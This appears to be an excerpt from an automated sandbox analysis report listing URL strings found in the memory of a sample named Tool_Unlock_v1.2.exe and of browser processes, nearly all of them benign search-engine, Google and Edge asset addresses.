Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: offscreendocument_main.js.10.dr, service_worker_bin_prod.js.10.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000005.00000003.2274387834.0000313C00C78000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000002.2391262207.000001AC0017C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000005.00000003.2232511530.0000313C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2228288673.0000313C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225955446.0000313C00C63000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225786178.0000313C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222694522.0000313C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221732617.0000313C00C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226237703.0000313C00328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221691146.0000313C00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2274387834.0000313C00C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000005.00000003.2264950061.000002FC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000005.00000003.2264950061.000002FC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000005.00000003.2264950061.000002FC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2209705113.000002FC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: msedge.exe, 00000008.00000002.2391262207.000001AC0017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 884b911a-b082-4e96-91a6-71b0693275e1.tmp.11.dr, cf50743c-d644-462d-b729-8fc9db759b3c.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: chrome.exe, 00000005.00000003.2205976118.0000005C002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2205955239.0000005C002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000005.00000003.2215730657.0000313C0042C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000002.2390712329.000001AC00054000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 884b911a-b082-4e96-91a6-71b0693275e1.tmp.11.dr, cf50743c-d644-462d-b729-8fc9db759b3c.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: chrome.exe, 00000005.00000003.2269205516.0000313C01544000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1
Source: chrome.exe, 00000005.00000003.2269205516.0000313C01544000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1rj
Source: chrome.exe, 00000005.00000003.2269205516.0000313C01544000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.10.dr, Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
